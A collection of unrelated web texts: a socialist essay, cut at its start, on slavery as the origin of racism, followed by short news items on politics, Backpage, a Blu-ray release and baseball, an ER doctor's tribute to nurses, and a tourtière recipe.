was not viewed in racial terms. Slaves were most often captives in wars or conquered peoples. If we understand white people as originating in what is today Europe, then most slaves in ancient Greece and Rome were white. Roman law made slaves the property of their owners, while maintaining a "formal lack of interest in the slave's ethnic or racial provenance," wrote Robin Blackburn in The Making of New World Slavery.  Over the years, slave manumission produced a mixed population of slave and free in Roman-ruled areas, in which all came to be seen as "Romans." The Greeks drew a sharper line between Greeks and "barbarians," those subject to slavery. Again, this was not viewed in racial or ethnic terms, as the socialist historian of the Haitian Revolution, C.L.R. James, explained:  [H]istorically, it is pretty well proved now that the ancient Greeks and Romans knew nothing about race. They had another standard--civilized and barbarian--and you could have white skin and be a barbarian, and you could be black and civilized.  More importantly, encounters in the ancient world between the Mediterranean world and Black Africans did not produce an upsurge of racism against Africans. In Before Color Prejudice, Howard University classics professor Frank Snowden documented innumerable accounts of interaction between the Greco-Roman and Egyptian civilizations and the Kush, Nubian, and Ethiopian kingdoms of Africa. He found substantial evidence of integration of Black Africans in the occupational hierarchies of the ancient Mediterranean empires and Black-white intermarriage. Black and mixed race gods appeared in Mediterranean art, and at least one Roman emperor, Septimius Severus, was an African.  Between the 10th and 16th centuries, the chief source of slaves in Western Europe was Eastern Europe. In fact, the word "slave" comes from the word "Slav," the people of Eastern Europe.  This outline doesn't mean to suggest a "pre-capitalist" Golden Age of racial tolerance, least of all in the slave societies of antiquity. Empires viewed themselves as centers of the universe and looked on foreigners as inferiors. Ancient Greece and Rome fought wars of conquest against peoples they presumed to be less advanced. Religious scholars interpreted the Hebrew Bible's "curse of Ham" from the story of Noah to condemn Africans to slavery. Cultural and religious associations of the color white with light and angels and the color black with darkness and evil persisted.  But none of these cultural or ideological factors explain the rise of New World slavery or the "modern" notions of racism that developed from it.  The slave trade lasted for a little more than 400 years, from the mid-1400s, when the Portuguese made their first voyages down the African coast, to the abolition of slavery in Brazil in 1888.  Slave traders took as many as 12 million Africans by force to work on the plantations in South America, the Caribbean and North America. About 13 percent of slaves (1.5 million) died during the Middle Passage--the trip by boat from Africa to the New World. The African slave trade--involving African slave merchants, European slavers and New World planters in the traffic in human cargo--represented the greatest forced population transfer ever.  The charge that Africans "sold their own people" into slavery has become a standard canard against "politically correct" history that condemns the European role in the African slave trade. The first encounters of the Spanish and Portuguese, and later the English, with African kingdoms revolved around trade in goods. Only after the Europeans established New World plantations requiring huge labor gangs did the slave trade begin.  African kings and chiefs did indeed sell into slavery captives in wars or members of other communities. Sometimes, they concluded alliances with Europeans to support them in wars, with captives from their enemies being handed over to the Europeans as booty. The demands of the plantation economies pushed "demand" for slaves. Supply did not create its own demand.  In any event, it remains unseemly to attempt to absolve the European slavers by reference to their African partners in crime. As historian Basil Davidson rightly argues about African chiefs' complicity in the slave trade: "In this, they were no less 'moral' than the Europeans who had instigated the trade and bought the captives."  Onboard, Africans were restricted in their movements so that they wouldn't combine to mutiny on the ship. In many slave ships, slaves were chained down, stacked like firewood with less than a foot between them. On the plantations, slaves were subjected to a regimen of 18-hour workdays. All members of slave families were set to work. Since the New World tobacco and sugar plantations operated nearly like factories, men, women and children were assigned tasks, from the fields to the processing mills.  Slaves were denied any rights. Throughout the colonies in the Caribbean to North America, laws were passed establishing a variety of common practices: Slaves were forbidden to carry weapons, they could marry only with the owner's permission, and their families could be broken up. They were forbidden to own property. Masters allowed slaves to cultivate vegetables and chickens, so the master wouldn't have to attend to their food needs. But they were forbidden even to sell for profit the products of their own gardens.  Some colonies encouraged religious instruction among slaves, but all of them made clear that a slave's conversion to Christianity didn't change their status as slaves. Other colonies discouraged religious instruction, especially when it became clear to the planters that church meetings were one of the chief ways that slaves planned conspiracies and revolts. It goes without saying that slaves had no political or civil rights, with no right to an education, to serve on juries, to vote or to run for public office.  The planters instituted barbaric regimes of repression to prevent any slave revolts. Slave catchers using tracker dogs would hunt down any slaves who tried to escape the plantation. The penalties for any form of slave resistance were extreme and deadly. One description of the penalties slaves faced in Barbados reports that rebellious slaves would be punished by "nailing them down on the ground with crooked sticks on every Limb, and then applying the Fire by degrees from Feet and Hands, burning them gradually up to the Head, whereby their pains are extravagant." Barbados planters could claim a reimbursement from the government of 25 pounds per slave executed.  The African slave trade helped to shape a wide variety of societies from modern Argentina to Canada. These differed in their use of slaves, the harshness of the regime imposed on slaves, and the degree of mixing of the races that custom and law permitted. But none of these became as virulently racist--insisting on racial separation and a strict color bar--as the English North American colonies that became the United States.  Notwithstanding the horrible conditions that African slaves endured, it is important to underscore that when European powers began carving up the New World between them, African slaves were not part of their calculations.  When we think of slavery today, we think of it primarily from the point of view of its relationship to racism. But planters in the 17th and 18th centuries looked at it primarily as a means to produce profits. Slavery was a method of organizing labor to produce sugar, tobacco and cotton. It was not, first and foremost, a system for producing white supremacy. How did slavery in the U.S. (and the rest of the New World) become the breeding ground for racism?  For much of the first century of colonization in what became the United States, the majority of slaves and other "unfree laborers" were white. The term "unfree" draws the distinction between slavery and servitude and "free wage labor" that is the norm in capitalism. One of the historic gains of capitalism for workers is that workers are "free" to sell their ability to labor to whatever employer will give them the best deal. Of course, this kind of freedom is limited at best. Unless they are independently wealthy, workers aren't free to decide not to work. They're free to work or starve. Once they do work, they can quit one employer and go to work for another.  But the hallmark of systems like slavery and indentured servitude was that slaves or servants were "bound over" to a particular employer for a period of time, or for life in the case of slaves. The decision to work for another master wasn't the slave's or the servant's. It was the master's, who could sell slaves for money or other commodities like livestock, lumber or machinery.  The North American colonies started predominantly as private business enterprises in the early 1600s. Unlike the Spanish, whose conquests of Mexico and Peru in the 1500s produced fabulous gold and silver riches for Spain, settlers in places like the colonies that became Maryland, Rhode Island, and Virginia made money through agriculture. In addition to sheer survival, the settlers' chief aim was to obtain a labor force that could produce the large amounts of indigo, tobacco, sugar and other crops that would be sold back to England. From 1607, when Jamestown was founded in Virginia to about 1685, the primary source of agricultural labor in English North America came from white indentured servants.  The colonists first attempted to press the indigenous population into labor. But the Indians refused to be become servants to the English. Indians resisted being forced to work, and they escaped into the surrounding area, which, after all, they knew far better than the English. One after another, the English colonies turned to a policy of driving out the Indians.  The colonists then turned to white servants. Indentured servants were predominantly young white men--usually English or Irish--who were required to work for a planter master for some fixed term of four to seven years. The servants received room and board on the plantation but no pay. And they could not quit and work for another planter. They had to serve their term, after which they might be able to acquire some land and to start a farm for themselves.  They became servants in several ways. Some were prisoners, convicted of petty crimes in Britain, or convicted of being troublemakers in Britain's first colony, Ireland. Many were kidnapped off the streets of Liverpool or Manchester, and put on ships to the New World. Some voluntarily became servants, hoping to start farms after they fulfilled their obligations to their masters.  For most of the 1600s, the planters tried to get by with a predominantly white, but multiracial workforce. But as the 17th century wore on, colonial leaders became increasingly frustrated with white servant labor. For one thing, they faced the problem of constantly having to recruit labor as servants' terms expired. Second, after servants finished their contracts and decided to set up their farms, they could become competitors to their former masters.  And finally, the planters didn't like the servants' "insolence." The mid-1600s were a time of revolution in England, when ideas of individual freedom were challenging the old hierarchies based on royalty. The colonial planters tended to be royalists, but their servants tended to assert their "rights as Englishmen" to better food, clothing and time off. Most laborers in the colonies supported the servants. As the century progressed, the costs of servant labor increased. Planters started to petition the colonial boards and assemblies to allow the large-scale importation of African slaves.  Black slaves worked on plantations in small numbers throughout the 1600s. But until the end of the 1600s, it cost planters more to buy slaves than to buy white servants. Blacks lived in the colonies in a variety of statuses--some were free, some were slaves, some were servants. The law in Virginia didn't establish the condition of lifetime, perpetual slavery or even recognize African servants as a group different from white servants until 1661. Blacks could serve on juries, own property and exercise other rights. Northampton County, Virginia, recognized interracial marriages and, in one case, assigned a free Black couple to act as foster parents for an abandoned white child. There were even a few examples of Black freemen who owned white servants. Free Blacks in North Carolina had voting rights. In the 1600s, the Chesapeake society of eastern Virginia had a multiracial character, according to historian Betty Wood:  There is persuasive evidence dating from the 1620s through the 1680s that there were those of European descent in the Chesapeake who were prepared to identify and cooperate with people of African descent. These affinities were forged in the world of plantation work. On many plantations, Europeans and West Africans labored side by side in the tobacco fields, performing exactly the same types and amounts of work; they lived and ate together in shared housing; they socialized together; and sometimes they slept together.  The planters' economic calculations played a part in the colonies' decision to move toward full-scale slave labor. By the end of the 17th century, the price of white indentured servants outstripped the price of African slaves. A planter could buy an African slave for life for the same price that he could purchase a white servant for 10 years. As Eric Williams explained:  Here, then, is the origin of Negro slavery. The reason was economic, not racial; it had to do not with the color of the laborer, but the cheapness of the labor. [The planter] would have gone to the moon, if necessary, for labor. Africa was nearer than the moon, nearer too than the more populous countries of India and China. But their turn would soon come.  Planters' fear of a multiracial uprising also pushed them towards racial slavery. Because a rigid racial division of labor didn't exist in the 17th century colonies, many conspiracies involving Black slaves and white indentured servants were hatched and foiled. We know about them today because of court proceedings that punished the runaways after their capture. As historians T.H. Breen and Stephen Innes point out, "These cases reveal only extreme actions, desperate attempts to escape, but for every group of runaways who came before the courts, there were doubtless many more poor whites and blacks who cooperated in smaller, less daring ways on the plantation."  The largest of these conspiracies developed into Bacon's Rebellion, an uprising that threw terror into the hearts of the Virginia Tidewater planters in 1676. Several hundred farmers, servants and slaves initiated a protest to press the colonial government to seize Indian land for distribution. The conflict spilled over into demands for tax relief and resentment of the Jamestown establishment. Planter Nathaniel Bacon helped organize an army of whites and Blacks that sacked Jamestown and forced the governor to flee. The rebel army held out for eight months before the Crown managed to defeat and disarm it.  Bacon's Rebellion was a turning point. After it ended, the Tidewater planters moved in two directions: first, they offered concessions to the white freemen, lifting taxes and extending to them the vote; and second, they moved to full-scale racial slavery.  Fifteen years earlier, the Burgesses had recognized the condition of slavery for life and placed Africans in a different category as white servants. But the law had little practical effect. "Until slavery became systematic, there was no need for a systematic slave code. And slavery could not become systematic so long as an African slave for life cost twice as much as an English servant for a five-year term," wrote historian Barbara Jeanne Fields.  Both of those circumstances changed in the immediate aftermath of Bacon's Rebellion. In the entire 17th century, the planters imported about 20,000 African slaves. The majority of them were brought to North American colonies in the 24 years after Bacon's Rebellion.  In 1664, the Maryland legislature passed a law determining who would be considered slaves on the basis of the condition of their father--whether their father was slave or free. It soon became clear, however, that establishing paternity was difficult, but that establishing who was a person's mother was definite. So the planters changed the law to establish slave status on the basis of the mother's condition.  Now white slaveholders who fathered children by slave women would be guaranteed their offspring as slaves. And the law included penalties for "free" women who slept with slaves. But what's most interesting about this law is that it doesn't really speak in racial terms. It attempts to preserve the property rights of slaveholders and establish barriers between slave and free which were to become hardened into racial divisions over the next few years.  Taking the Maryland law as an example, Fields made this important point:  Historians can actually observe colonial Americans in the act of preparing the ground for race without foreknowledge of what would later arise on the foundation they were laying. [T]he purpose of the experiment is clear: to prevent the erosion of slaveowners' property rights that would result if the offspring of free white women impregnated by slave men were entitled to freedom. The language of the preamble to the law makes clear that the point was not yet race.  Race does not explain the law. Rather, the law shows society in the act of inventing race.  After establishing that African slaves would cultivate major cash crops of the North American colonies, the planters then moved to establish the institutions and ideas that would uphold white supremacy. Most unfree labor became Black labor. Laws and ideas intended to underscore the subhuman status of Black people--in a word, the ideology of racism and white supremacy--emerged full-blown over the next generation.  Within a few decades, the ideology of white supremacy was fully developed. Some of the greatest minds of the day--such as Scottish philosopher David Hume and Thomas Jefferson, the man who wrote the Declaration of Independence--wrote treatises alleging Black inferiority.  The ideology of white supremacy based on the natural inferiority of Blacks, even allegations that Blacks were subhuman, strengthened throughout the 18th century. This was the way that the leading intellectual figures of the time reconciled the ideals of the 1776 American Revolution with slavery. The American Revolution of 1776 and later the French Revolution of 1789 popularized the ideas of liberty and the rights of all human beings. The Declaration of Independence asserts that "all men are created equal" and possess certain "unalienable rights"--rights that can't be taken away--of "life, liberty, and the pursuit of happiness."  As the first major bourgeois revolution, the American Revolution sought to establish the rights of the new capitalist class against the old feudal monarchy. It started with the resentment of the American merchant class that wanted to break free from British restrictions on its trade.  But its challenge to British tyranny also gave expression to a whole range of ideas that expanded the concept of "liberty" from being just about trade to include ideas of human rights, democracy, and civil liberties. It legitimized an assault on slavery as an offense to liberty. Some of the leading American revolutionaries, such as Thomas Paine and Benjamin Franklin, endorsed abolition. Slaves and free Blacks also pointed to the ideals of the revolution to call for abolishing slavery.  But because the revolution aimed to establish the rule of capital in America, and because a lot of capitalists and planters made a lot of money from slavery, the revolution compromised with slavery. The Declaration initially contained a condemnation of King George for allowing the slave trade, but Jefferson dropped it following protests from representatives from Georgia and the Carolinas.  How could the founding fathers of the U.S.--most of whom owned slaves themselves--reconcile the ideals of liberty for which they were fighting with the existence of a system that represented the exact negation of liberty?  The ideology of white supremacy fit the bill. We know today that "all men" didn't include women, Indians or most whites. But to rule Black slaves out of the blessings of liberty, the leading head-fixers of the time argued that Blacks weren't really "men," they were a lower order of being. Jefferson's Notes from Virginia, meant to be a scientific catalogue of the flora and fauna of Virginia, uses arguments that anticipate the "scientific racism" of the 1800s and 1900s.  With few exceptions, no major institution--such as the universities, the churches or the newspapers of the time--raised criticisms of white supremacy or of slavery. In fact, they helped pioneer religious and academic justifications for slavery and Black inferiority. As C.L.R. James put it, "[T]he conception of dividing people by race begins with the slave trade. This thing was so shocking, so opposed to all the conceptions of society which religion and philosophers had, that the only justification by which humanity could face it was to divide people into races and decide that the Africans were an inferior race."  White supremacy wasn't only used to justify slavery. It was also used to keep in line the two-thirds of Southern whites who weren't slaveholders. Unlike the French colony of St. Domingue or the British colony of Barbados, where Blacks vastly outnumbered whites, Blacks were a minority in the slave South. A tiny minority of slave-holding whites, who controlled the governments and economies of the Deep South states, ruled over a population that was roughly two-thirds white farmers and workers and one-third Black slaves.  The slaveholders' ideology of racism and white supremacy helped to divide the working population, tying poor whites to the slaveholders. Slavery afforded poor white farmers what Fields called a "social space" whereby they preserved an illusory "independence" based on debt and subsistence farming, while the rich planters continued to dominate Southern politics and society. "A caste system as well as a form of labor," historian James M. McPherson wrote, "slavery elevated all whites to the ruling caste and thereby reduced the potential for class conflict."  The great abolitionist Frederick Douglass understood this dynamic:  The hostility between the whites and blacks of the South is easily explained. It has its root and sap in the relation of slavery, and was incited on both sides by the cunning of the slave masters. Those masters secured their ascendancy over both the poor whites and the Blacks by putting enmity between them. They divided both to conquer each. [Slaveholders denounced emancipation as] tending to put the white working man on an equality with Blacks, and by this means, they succeed in drawing off the minds of the poor whites from the real fact, that by the rich slave-master, they are already regarded as but a single remove from equality with the slave.  Slavery in the colonies helped produce a boom in the 18th century economy that provided the launching pad for the industrial revolution in Europe. From the start, colonial slavery and capitalism were linked. While it is not correct to say that slavery created capitalism, it is correct to say that slavery provided one of the chief sources for the initial accumulations of wealth that helped to propel capitalism forward in Europe and North America.  The clearest example of the connection between plantation slavery and the rise of industrial capitalism was the connection between the cotton South, Britain and, to a lesser extent, the Northern industrial states. Here, we can see the direct link between slavery in the U.S. and the development of the most advanced capitalist production methods in the world. Cotton textiles accounted for 75 percent of British industrial employment in 1840, and, at its height, three-fourths of that cotton came from the slave plantations of the Deep South. And Northern ships and ports transported the cotton.  To meet the boom in the 1840s and 1850s, the planters became even more vicious. On the one hand, they tried to expand slavery into the West and Central America. The fight over the extension of slavery into the territories eventually precipitated the Civil War in 1861. On the other hand, they drove slaves harder--selling more cotton to buy more slaves just to keep up. On the eve of the Civil War, the South was petitioning to lift the ban on the importation of slaves that had existed officially since 1808.  Karl Marx clearly understood the connection between plantation slavery in the cotton South and the development of capitalism in England. He wrote in Capital:  While the cotton industry introduced child-slavery into England, in the United States, it gave the impulse for the transformation of the more or less patriarchal slavery into a system of commercial exploitation. In fact, the veiled slavery of the wage-laborers in Europe needed the unqualified slavery of the New World as its pedestal. Capital comes dripping from head to toe, from every pore, with blood and dirt.  The close connection between slavery and capitalism, and thus, between racism and capitalism, gives the lie to those who insist that slavery would have just died out. In fact, the South was more dependent on slavery right before the Civil War than it was 50 or 100 years earlier. Slavery lasted as long as it did because it was profitable. And it was profitable to the richest and most "well-bred" people in the world.  The Civil War abolished slavery and struck a great blow against racism. But racism itself wasn't abolished. On the contrary, just as racism was created to justify colonial slavery, racism as an ideology was refashioned. It now no longer justified the enslavement of Blacks, but it justified second-class status for Blacks as wage laborers and sharecroppers.  Racist ideology was also refashioned to justify imperialist conquest at the turn of the last century. As a handful of competing world powers vied to carve up the globe into colonial preserves for cheap raw materials and labor, racism served as a convenient justification. The vast majority of the world's people were now portrayed as inferior races, incapable of determining their own future. Slavery disappeared, but racism remained as a means to justify the domination of millions of people by the U.S., various European powers, and later by Japan.  Because racism is woven right into the fabric of capitalism, new forms of racism arose with changes in capitalism. As the U.S. economy expanded and underpinned U.S. imperial expansion, imperialist racism--which asserted that the U.S. had a right to dominate other peoples, such as Mexicans and Filipinos--developed. As the U.S. economy grew and sucked in millions of immigrant laborers, anti-immigrant racism developed.  But these are both different forms of the same ideology--of white supremacy and division of the world into "superior" and "inferior" races--that had their origins in slavery.  Racism and capitalism have been intertwined since the beginning of capitalism. You can't have capitalism without racism. Therefore, the final triumph over racism will only come when we abolish racism's chief source--capitalism--and build a new socialist society.
-GOP strategist Ana Navarro said Monday Republicans would be attempting to impeach Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE immediately if they discovered she shared classified information with a Russian official.  Navarro, a vocal Trump critic, seemed to point at an alternate reality if Clinton had won the election instead of Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE.  If Hillary Clinton leaked classified info to a Russian spook/diplomat, Republicans would rightly be drafting Articles of Impeachment N-O-W. — Ana Navarro (@ananavarro) May 15, 2017  Navarro's tweet came shortly after the Washington Post reported Monday evening that Trump shared highly classified information about the Islamic State in Iraq and Syria (ISIS) with top Russian diplomats in a meeting last week, a charge multiple White House officials have denied.  A U.S. official with knowledge of the meeting told the Post that the president “revealed more information to the Russian ambassador than we have shared with our own allies.”  ADVERTISEMENT  Since the presidential election, Trump and his associates have come under public scrutiny for their praise and seemingly warm relationship to the Kremlin.  Trump met with Russian Foreign Minister Sergey Lavrov and Russian Ambassador Sergey Kislyak at the White House last week.  Sen. Bob Corker (R-Tenn.) says the Trump administration needs to reverse the “downward spiral” it finds itself in, following the Post report.  “The White House has got to do something soon to bring itself under control and in order,” the senator said Monday, according to Bloomberg. “It’s got to happen.”
-During a busy Sunday evening in my ER two weeks ago, while I stitched closed a laceration to the temple of a two-year-old infant who had run into a door, disaster struck. As is customary in these situations, my attendant nurse, a kind woman who is wonderful with children, had wrapped up the child in layers of sheets to prevent any unexpected movements of arms or legs while we performed the delicate procedure. Halfway through my sewing, our young patient stealthily managed to extricate a right arm from her wrapping, and promptly, before anyone noticed, the injured child delivered a full force punch to the face of my poor nurse.  The nurse assisting me rapidly developed a substantial bruise near her eye (believe me -- injured babies throw a mean punch!), but she never flinched, proceeding to calmly re-wrap the offending arm, and allowing me to finish suturing. Afterwards, to my chagrin, the parents of the injured baby ignored the nurse and the injuries she had sustained in order to help their child, while proceeding to thank me profusely for my care.  This episode got me thinking -- our nurses so frequently go above and beyond the call of duty, while receiving so little recognition for their amazing work and dedication. It is a situation I feel we all should do our best to improve, so without further ado, the top reasons why nurses are my true heroes of the Emergency Room:  1) Nurses regularly save us doctors when the going gets tough  Almost every doctor out there has stories, from their years in practice, about how an experienced nurse saved the day for them at some point. For me, the first time this occurred was during my residency, prior to receiving my license to practice.  I remember, during a night on call, seeing an older male patient who presented with suddenly elevated blood pressure and difficulty breathing -- the type of critically ill patient I would have seen only with a senior physician by my side during daytime hours. Being alone with this dying man, no other MD in sight, I froze, suddenly unable to recognize the clear diagnosis -- acute congestive heart failure -- that was in front of me.  As I watched my patient slipping away from me, rapidly running out of strength to breathe further, I felt a tap on my shoulder. It was one of the experienced nurses on the floor, a knowledgeable pro who had seen it all. She said to me gently, "I see you're here for the heart failure patient -- want me to draw up drugs x, y, and z?" Her quick, attentive action saved the day. With the correct diagnosis identified, and proper treatment started, the patient quickly improved. I learned a lesson that day, one that I have never forgotten: that nurses know their stuff, and that their enormous experience is an incredible asset to have by my side when faced with the most challenging patients.  2) Nurses take abuse and maintain their professionalism  Emergency rooms, due to the high-pressure, life and death nature of the work we perform, are very stressful places to be. Patients and their family members, as well as hospital staff, are frequently on edge. When tempers flare in the ER, nurses, as the workers in the ER who spend the most time with patients, frequently serve as proverbial, and all too often literal, punching bags.  In the course of my career I have repeatedly seen nurses assaulted by intoxicated, demented, and mentally ill patients, as well as verbally abused by patients and families upset with wait times and outcomes. A 2005 study found that 34 per cent of hospital nurses reported a direct physical assault from a patient within the past year. Despite this, I have observed nurses almost always maintaining their cool and remaining professional, even in the face of events that would result in police being called to almost any other workplace.  3) Nurses do all the dirty work that doctors don't  There is nothing pretty or glamorous about much of the work performed in a typical emergency room. Throughout a shift, countless tasks need to be completed that would curdle the stomach of any but the most hardened individuals. From diaper changes on elderly patients, to administering enemas, to cleaning bed bugs and maggots off of our homeless and less fortunate guests, the nurses I work with do it all, and it is a testament to their dedication that they rarely protest about it. In fact, I am constantly amazed at how gentle and kind they are with the patients whose illnesses require such unpalatable care.  4) Nurses work gruelling hours  The average ER nursing shift is 12 hours long, and usually starts at either 7:30 a.m., or 7:30 p.m. Most nurses work a staggered schedule of several day shifts, then several night shifts, followed by several days off. As a result, their bodies are perpetually in a state of shifting time zones and sleep schedules, with constant exhaustion as a consequence. Long-term, these types of shift work schedules can raise a nurse's risk of cardiovascular disease by 40 per cent and diabetes by 50 per cent -- a huge price to pay in personal health for one's profession.  Additionally, nursing schedules have little regard for social lives, family obligations or holidays. Without exception, the ER nurses I know regularly work Christmas days, New Year's Eves, Passovers, and the like. Wonderfully, instead of complaining about this, nurses in my department throw potluck meals during holidays and adorn the ER with impressive festive decorations, transforming a place nobody wants to be during these special days into a celebratory place for patients and staff.  5) Nurses get to know their patients better than any ER doctor can  During an average ER shift, I see a bare minimum of 30 patients, and on my busiest days, over 50 patients. This leaves me little opportunity to get to know my patients, answer their questions, or allay their concerns in any meaningful way. The nurses in my department typically get to spend time with patients both before and after I see them, explaining the tests I order, the diagnoses I come up with, and the treatments needed. The soothing, compassionate presence of my nurses, and the extra time they provide to patients, allows the people we care for to be properly informed about their illnesses, and to feel individually tended to, in a way that ER physicians only wish they could achieve.  6) Nurses are educated professionals with unique skill sets  Nursing requires an extensive knowledge base, and in today's hospitals all nurses are required to have either a college or university degree in their field. Additionally nurses are proficient in a wide array of clinical skills that are absolutely essential to the patients in any ER. When it comes to starting an intravenous line, drawing bloods, administering an electrocardiogram, and a wide variety of other tasks, the nurses I've worked with have unique skills that put mine to shame. In fact, I pity any patient that has their intravenous started by me instead of by a nurse!  So next time you or a family member are sick and end up in the ER, remember who the unsung heroes of the department are, and thank them for all that they go through and all that they do -- I promise they'll appreciate it deeply.  ALSO ON HUFFPOST:
-Copyright by WCMH - All rights reserved This photo released by the Texas Office of the Attorney General shows Carl Ferrer. State agents have raided the Dallas headquarters of adult classified ad portal Backpage and arrested Chief Executive Officer Ferrer. Texas Attorney General Ken...  Copyright by WCMH - All rights reserved This photo released by the Texas Office of the Attorney General shows Carl Ferrer. State agents have raided the Dallas headquarters of adult classified ad portal Backpage and arrested Chief Executive Officer Ferrer. Texas Attorney General Ken...  SACRAMENTO, CA (AP) - A California judge tentatively rejected pimping charges Wednesday against the operators of a major international website that advertises escort services.  Sacramento County Superior Court Judge Michael Bowman said the state attorney general's office cannot continue prosecuting Backpage.com's CEO Carl Ferrer and two former owners.  Bowman set a hearing on his ruling later Wednesday before making his decision final.  The men were charged by California Attorney General Kamala Harris, who called Backpage.com "the world's top online brothel."  The judge agreed with Ferrer and former owners Michael Lacey and James Larkin that the website's operators are protected by federal law related to freedom of speech.  Harris lacked authority to bring the charges because the federal Communications Decency Act, as a way of promoting free speech, grants immunity to website operators for content posted by users, the judge wrote in his seven-page tentative ruling.  "Congress has spoken on this matter and it is for Congress, not this court, to revisit," Bowman wrote, emphasizing the final sentence in boldface.  Ferrer, 55, was charged with pimping a minor, pimping and conspiracy to commit pimping. Lacey, 68, and Larkin, 67, both from Arizona, were charged with conspiracy to commit pimping.  Harris, a Democrat who was elected to the U.S. Senate last week, alleged that more than 90 percent of Backpage revenue - millions of dollars each month - comes from adult escort ads that use coded language and nearly nude photos to offer sex for money.
-A “Tourtière” is a meat pie from Quebec, and is a classic part of the Christmas/Christmas Eve réveillon and New Year’s Eve meal (It’s also great when you are having a bunch of people over for dinner and you are sick of making “bangers in a cloud”, another great recipe that I will post soon). While meat pies are found in many cultures and parts of the world, the tourtiere gets its name from the the creature from which it was traditionally made, the “tourte,” or passenger pigeon. These days there is no one filling that makes a tourtiere what it is, it may be made from any type of meat, though the most common ones are made with pork, veal, beef, or a combination of meats (if you hunt dove, it might be an interesting way to prepare the bird, similar to the original recipe). In Quebec, serving this won’t turn heads, but in the US, tourtiere is not so common, and you may get some “what the… Meat pie?” type of comments. Ignore them, and remember… Knives are for threatening, too. This dish has a lot of flavor, and this is one of my favorite touriere recipes. When you try this, you will see why this is so popular up north.  Ingredients:  Pastry dough for a bottom and top crust (store-bought is fine)  1 tablespoon light olive or canola oil  1/2 pound ground pork  1/2 pound ground beef  3/4 cup chopped onion  1 clove garlic, crushed and finely chopped  1/3 cup shredded carrots  1/4 cup finely chopped celery  2/3 cup beef stock  2 tablespoons Cognac  1 teaspoon dried parsley  3/4 teaspoon salt  1/4 teaspoon ground black pepper  1/4 teaspoon dried sage  1/4 teaspoon dried thyme  1/16 teaspoon ground cloves  1/16 teaspoon ground cinnamon  1/16 teaspoon grated nutmeg  Directions:  1. Preheat your oven to 400 degrees F.  2. Roll out your pastry dough and cut into two equal circles, enough to fit a 9-inch pie pan, and line the bottom of the pan with one piece of the dough.  3. In a pan, heat the oil and saute onion, garlic, celery, and carrot briefly. Add the meat and cook until done.  4. Drain the excess oil and add the stock, herbs, spices, and cognac to the pan and simmer over a low to medium heat for about 15 minutes.  5. Allow to sit for about 5 minutes and then spoon the mixture into the pastry crust in the pie pan and cover with the remaining dough.  6. Seal the pie crust, cut a few vents in the top, and design however you please (if you please).  7. Reduce the heat to 350 and bake the tourtiere for 25 to 30 minutes, until the top turns a golden brown.  8. Let cool for a bit and serve while still warm.  This will easily serve 6 to 8 people and the proportions can be increased to be made in a larger pie mold (or pan).
-BFI: Eyes Without a Face Blu-ray Detailed Posted July 9, 2015 04:56 PM by Webmaster  The British Film Institute has detailed its upcoming Blu-ray release of director Georges Franju's Eyes Without a Face (1960), starring Pierre Brasseur, Alida Valli, Juliette Mayniel, François Guérin, and Edith Scob. The release will be available for purchase on August 24.  Synopsis: Both cruel and tender, Eyes Without a Face, Georges Franju's unique blend of pulp, horror and poetry has been a major influence on filmmakers, from Jesús Franco to Pedro Almodóvar.  On 24 August 2015 the BFI brings it to Blu-ray for the first time in the UK, releasing it in a Dual Format Edition (Blu-ray and DVD discs) which also contains two short films by Franju, the 2009 documentary Les Fleurs maladives de Georges Franju, an interview with actress Edith Scob and an audio commentary by Tim Lucas.  Dr Genessier (Pierre Brasseur, Le Quai Des Brumes, Les Enfants du Paradis) is a brilliant and obsessive plastic surgeon driven by the need to restore his daughter's (Edith Scob, Judex) disfigured face. He is aided in this quest by his loyal assistant Louise (Alida Valli, Senso), who lures unwitting young women to the secret surgery in his secluded chateau.  Special Features: Monsieur et Madame Curie (Georges Franju, 1953, 14 mins): the life and work of the pioneering scientists, told through the words of Marie Curie  La Premiere nuit (Georges Franju, 1958, 20 mins): a 10-year-old boy spends a night in the Métro  Les Fleurs maladives de Georges Franju (Pierre-Henri Gibert, 2009, 50 mins): an overview of Georges Franju's career  For Her Eyes Only – an interview with Edith Scob (LP Hugo, 2014, 17 mins): the actress talks about her work with Georges Franju and their friendship  Audio commentary by film critic Tim Lucas of Video Watchdog  Illustrated booklet featuring essays by Kate Ince, Isabel Stevens, Roberto Cueto Llera, Raymond Durgnat, Kevin Jackson, Michael Brooke and full film credits  Source: Blu-ray.com | Permalink | [Country settings]  Sort by popularity Sort by date  Top contributor rapta Jul 09, 2015 A shame they couldn't secure the rights for Le Sang des Bêtes which they had originally listed when this was announced last January, but glad we are FINALLY getting this! I wonder if we'll get a slipcover for waiting SO LONG for this to be released?  Sigmund100 Jul 10, 2015 Is Billy Idol in this?  Add comment  Please login to post a comment.
-The New York Yankees have been the talk of the baseball world since landing Giancarlo Stanton in a blockbuster trade with the Miami Marlins.  But Stanton might not be long for New York.  Nick Cafardo of The Boston Globe reported Sunday, citing a longtime, major force in baseball, that the Yankees will trade Stanton to the Los Angeles Dodgers following the 2018 season in order to sign Bryce Harper.  New York long has been seen as a suitor for Harper, as the power-hitting outfielder is tailormade for the short porch in right field at Yankee Stadium.  The Washington Nationals outfielder will be a free agent following the 2018 campaign, and he is expected to command a contract upward of $400 million. He undoubtedly will have a number of suitors, with the Yankees, Nationals, Dodgers, Chicago Cubs and Boston Red Sox potentially being among them, but New York is seen as the club most likely to spend the money on the star outfielder.  As for Stanton and the Dodgers, it was reported that LA was the 2017 National League MVP’s favored destination before he was dealt to the Yankees, so a trade between the Dodgers and Yankees would seem to make sense for both sides.  Of course, after a season of Stanton hitting beside Aaron Judge in the Yankees’ lineup, New York might not want to trade him.  Thumbnail photo via Kim Klement/USA TODAY Sports Images
